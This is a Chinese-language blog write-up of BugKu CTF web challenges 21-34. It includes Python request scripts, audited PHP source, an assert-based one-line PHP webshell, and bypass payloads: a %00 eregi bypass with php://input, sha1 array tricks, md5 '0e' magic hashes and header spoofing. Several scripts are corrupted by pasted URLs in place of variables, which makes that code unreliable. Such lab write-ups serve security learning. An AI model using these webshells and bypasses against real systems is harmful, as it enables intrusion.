主頁 >  其他 > CTF-BugKu-WEB-21-34

CTF-BugKu-WEB-21-34

2020-09-19 17:06:24 其他

2020.09.18

完了完了,今天是不是做不完了……??

經驗教訓

  1. re.search(pattern, string)可以找到字串中匹配正則的某一段字符;
  2. eval()方法可以用來得出1+1+2這種字串的結果;
  3. python中,post的內容是json,例如post = {'value': result}
  4. python中,添加post內容要用post()方法,并且添加data引數,例如s.post(url, data = https://www.cnblogs.com/qiaowukong/p/post)
  5. r'(\d+[+\-*])+(\d+)'可以用來匹配123+456*789這種算式;
  6. php中,intval()用于對數字取整;
  7. @file_get_contents(),方法可以通過輸入php://input來讀取url的輸入位元組流;
  8. php中,用來匹配正則的方法一般遇到空字符\x00就會停止,\x00在url中寫作%00
  9. php中,assert(),斷言方法,如果括號里是字串,那么他就相當于eval(),會把字串當作php陳述句執行,
  10. html請求頭中,Referer,表示這個請求從什么地方重定向過來的;
  11. md5碰撞,第三十一題有md5后0e開頭的字串;
  12. php中,sha1也可以用輸入陣列來進行繞過,因為sha1陣列回傳false;

第二十一題 秋名山老司機

https://ctf.bugku.com/challenges#秋名山老司機

  1. 那么題眼就很清楚了,兩秒內把算出來的結果post出去,這看起來只有腳本才能做到,
  2. 這里的腳本有幾處問題我不太會,參考了大佬的,有幾個問題就是
    • 怎么把需要算的數從回應中取出來?
    • 取出來之后怎么進行計算?取出來畢竟是字串,應該沒辦法直接計算才是,
    • 下邊大佬的腳本給了解決方案,就總結在經驗教訓中,
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session() # 很關鍵,因為session保證了長鏈接,才能保證我們在2s內post出請求,要不然post只會開啟一個新鏈接
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() # re.search()可以找到字串中匹配的某一段字符,這解決方案完美
result = eval(expression) # eval能直接把字串轉換為可執行的陳述句,完美
post = {'value': result} # 構造post內容,學到了post的內容是json
print(s.post(url, data = https://www.cnblogs.com/qiaowukong/p/post).text) # 輸出post后結果,學到了請求時添加post內容是用`data=?`
  1. 經過以上腳本我們就有概率得到flag啦,Bugku{YOU_DID_IT_BY_SECOND},真的是有概率得到,可能是py和php算的數不一樣……

第二十二題 速度要快

https://ctf.bugku.com/challenges#速度要快

  1. 打開鏈接,查看原始碼,意思就是要很快的post叫margin的資料,很快的post簡單,但是margin是什么?
  2. 我重繪了一遍,在回應頭中發現可疑資訊,6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTlRVek5qZzM=
  3. 轉碼得跑的還不錯,給你flag吧: NTUzNjg3,但是填入并不對
  4. 這讓我懷疑這個flag,趕緊還像是base64,于是又一次解碼得553687,這個難不成是margin的值??腳本測驗一下
  5. 腳本如下,但是沒有成功,wtf??竟然還嫌不夠快……
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/18 23:34:52
#author    : 喬悟空
#purpose   : 此腳本用于快速回應目標url并post指定值
import requests

url = "http://123.206.87.240:8002/web6/"
session = requests.session()
res = session.get(url).text
print(res)
for i in range(20):
    res = session.post(url,data=https://www.cnblogs.com/qiaowukong/p/{'margin':553687}).text
    print(res)


6. 看來是思路不對,再去看看,發現端倪,md,我明白了,我發現哪個flag是一直在變的,原來如此,也就是說margin是在變的,也對,怎么可能像之前想的這么簡單吶……修改腳本

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/18 23:34:52
#author    : 喬悟空
#purpose   : 此腳本用于快速回應目標url并post指定值
import requests
import base64

url = "http://123.206.87.240:8002/web6/"
session = requests.session() # 保持長鏈接
res = session.get(url).headers['flag'] # 取回應頭中flag的動態變化值
print(res)
res = base64.b64decode(res).decode().split(': ')[1] # 第一次base64
print(res)
res = base64.b64decode(res).decode() # 第二次base64
print(res)
res = session.post(url,data=https://www.cnblogs.com/qiaowukong/p/{'margin':res}).text # 快速post margin
print(res)
  1. 運行腳本得到結果,奧力給??KEY{111dd62fcd377076be18a}

第二十三題 cookies欺騙

https://ctf.bugku.com/challenges#cookies欺騙

  1. 打開之后自動跳轉到http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=,內容如下:
  2. 上邊filename,base64轉碼得keys.txt,測驗index.php的base64aW5kZXgucGhw
  3. 仔細一看是因為還有一個line引數,輸入?line=1&filename=aW5kZXgucGhw,成功回傳結果,思路很清晰,用腳本得到整個index.php
  4. 小腳本如下:
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/19 07:48:16
#author    : 喬悟空
#purpose   : 此腳本用于按行獲取整個php檔案
import requests

url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw"
session = requests.session()
for i in range(100):
    req = session.get(url.format(i)).text
    if req == '':
        break
    else:
        print(req,end = '')
  1. 得到的index.php檔案如下:進行代碼審計??
<?php
error_reporting(0); // 不報錯
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); // 解base64
$line=isset($_GET['line'])?intval($_GET['line']):0; // 對line取整,沒輸入默認為0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); // 默認url值
$file_list = array( //file串列,目前有兩個檔案,這就是我們能取到這兩個檔案的原因,這里我嘗試用第三步方法直接獲取keys.php檔案,失敗了,
'0' =>'keys.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ // 如果cookie滿足條件,那么就添加一個可以獲取的檔案keys.php
$file_list[2]='keys.php';
}
 
if(in_array($file, $file_list)){ //yes,和我猜的一樣,必須在串列內才能輸出,接下來發送指定cookie,獲取keys.php
$fa = file($file);
echo $fa[$line];
}
?>
  1. 小腳本發送指定cookie,獲取keys.php
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry2.py
#createTime: 2020/09/19 08:05:15
#author    : 喬悟空
#purpose   : 此腳本用于向指定鏈接發送cookie,然后按行獲取檔案keys.php
import requests

url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=a2V5cy5waHA="
session = requests.session()
for i in range(100):
    req = session.get(url.format(i),cookies = {'margin':'margin'}).text
    if req == '':
        break
    else:
        print(req,end = '')
  1. 獲取keys.php如下,直接給了flag,很良心哈哈哈KEY{key_keys}
<?php $key='KEY{key_keys}'; ?>

第二十四題 never give up

https://ctf.bugku.com/challenges#never%20give%20%20up

  1. 打開,提示1p.html
  2. 訪問http://123.206.87.240:8006/test/1p.html跳轉回bugku首頁,用burp訪問,發現線索

    解碼得:
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
  1. 中間的base64經過解碼又經過url解碼得到如下,進行代碼審計:
";if(!$_GET['id']) // 初始化重定向
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) // 不允許a中有點
{
	echo 'no no no no no no no';
	return ;
}
$data = https://www.cnblogs.com/qiaowukong/p/@file_get_contents($a,'r'); //讀取a為名字的檔案
if($data=https://www.cnblogs.com/qiaowukong/p/="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) // 輸出flag的條件
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>
  1. 輸出flag的條件可謂苛刻……所以試試直接訪問f4l2a3g.txt,成功得到flagflag{tHis_iS_THe_fLaG},但是這應該不是出題人的本意,所以為了學習我們還是看一下他的條件,
    • 以a為名字的檔案內容要是bugku is a nice plateform!;考慮用php://input來滿足
    • id = 0;本來感覺很簡單,但是后來發現前面又個條件,導致等0的話,!0=1,導致重定向,那么就不能是數字0可以是字符0
    • b長度大于5;這個簡單
    • b第一位連起來滿足eregi方法;這個簡單,b第一位是4就好
    • 第一位要是4,與上一步矛盾啊,怎么辦?原來eregi可以用空字符來繞過,他匹配到空字符自動停止,url中的空字符自然是%00
  2. 經過分析,初步構造payloadhello.php?id='0'&a=php://input&b=%00qwkqwk,nice??

第二十五題 welcome to bugkuctf

https://ctf.bugku.com/challenges#welcome%20to%20bugkuctf

  1. 很好,廢了

第二十六題 過狗一句話

https://ctf.bugku.com/challenges#過狗一句話

  1. 好像真被刪了,搜了大佬的wp
  2. 雖然被刪了,但是我們還是分析一下,出題人到底什么意思
<?php 
$poc="a#s#s#e#r#t";  // poc賦值
$poc_1=explode("#",$poc);  // 去掉poc中的#,結果也就是assert
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];  // 現在$poc_2 = assert
$poc_2($_GET['s'])  // 這里相當于assert()這個方法
?>
  1. assert(),詳情參照這里,斷言方法,也就是括號里是對的干什么,是錯的就中斷,再干點什么,我們需要哦知道的是如果括號里是字串,那么他就相當于eval(),會把字串當作php陳述句執行,

第二十七題 字符?正則?

https://ctf.bugku.com/challenges#字符?正則?

  1. 訪問直接給了原始碼,那就代碼審計:
<?php 
highlight_file('2.php'); //給出高亮代碼
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
  1. 正則運算式啥意思??
/key .* key .{4,7} key:/ . / (.*key) [a-z] [[:punct:]] /i
key 多個任意字符 key 4-7個任意字符 key:/ 任意字符 / 多個任意字符key 任一小寫字母 任何符號 不分大小寫

根據以上分析,構造payload?id=keyqwkkeyqwkqwkkey:/q/qwkkeyq!,得結果KEY{0x0SIOPh550afc}

第二十八題 前女友(SKCTF)

https://ctf.bugku.com/challenges#前女友(SKCTF)

  1. 這個題目吸引了我,但是好像竟然不能做了

第二十九題 login1(SKCTF)

https://ctf.bugku.com/challenges#login1(SKCTF)

  1. 這個也打不開……好像是同一臺服務器上的,不會被人干了吧……

第三十題 你從哪里來

https://ctf.bugku.com/challenges#你從哪里來

  1. 打開界面,意思很明確,你要從google重定向過來
  2. burp修改請求頭的Referer,這里要改成https://www.google.com,一開始我用的www.google.com不好使,flagflag{bug-ku_ai_admin}

第三十一題 md5 collision(NUPT_CTF)

https://ctf.bugku.com/challenges#md5%20collision(NUPT_CTF)

  1. 打開,讓輸入a
  2. 隨便輸入?a=1,回傳false,這上哪知道a等于多少去……
  3. 嘗試burp爆破a的值,好久好久以后……沒啥結果,可能是字典的原因吧……那還有別的辦法嗎……
  4. 難不成是用post??測驗未果……
  5. 測驗a[]也沒用
  6. 百度了之后知道md5 碰撞的一些知識,但是這個題也沒給原始碼啊,鬼知道他是怎么比較的……總之也就是md5后的值是0E開頭,在弱等于比較的的時候會被認為是科學技術法,這樣就可以比對成功,嫖來的md5結果開頭是0e的數值,得到flagflag{md5_collision_is_easy}
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e54599327451770903432885584102

第三十二題 程式員本地網站

https://ctf.bugku.com/challenges#程式員本地網站

  1. 讓從本地訪問,自然就想到請求頭X-Forwarded-For: 127.0.0.1
  2. 有點簡單,哈哈哈,直接給結果了flag{loc-al-h-o-st1}

第三十三題 各種繞過

https://ctf.bugku.com/challenges#各種繞過

  1. 直接給了源代碼,代碼審計就完事了??
<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 
        print 'passwd can not be uname.'; 
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 
        die('Flag: '.$flag); 
    else 
        print 'sorry!'; 
} 
?>
  1. 也就是一個sha1繞過,用陣列,兩遍都輸出false,滿足===,他真就輸出了flag{xxxxxxxxxxxxxxxxxx}
  2. 原來是這樣,我之前的請求是 /web7/flag.php?uname[]=admin&id=margin,而正確的是 /web7/?uname[]=admin&id=margin,flag.php只是給我們看的,所以并不能輸出真的flagflag{HACK_45hhs_213sDD}

第三十四題 web8

https://ctf.bugku.com/challenges#web8

  1. 直接給了原始碼:
<?php
extract($_GET); // 把從陣列中將變數匯入到當前的符號表,
if (!empty($ac)) 
{
$f = trim(file_get_contents($fn)); // file_get_contents()想到php://input
if ($ac === $f) //相等就輸出flag
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  1. 根據原始碼構造payload/web8/?ac=qwk&fn=php://input ,同時postqwk,得到flagflag{3cfb7a90fc0de31}

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/82470.html

標籤:其他

上一篇:Unity Photon Pun 本地搭建服務器 連接失敗

下一篇:探究 — 二叉搜索樹

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more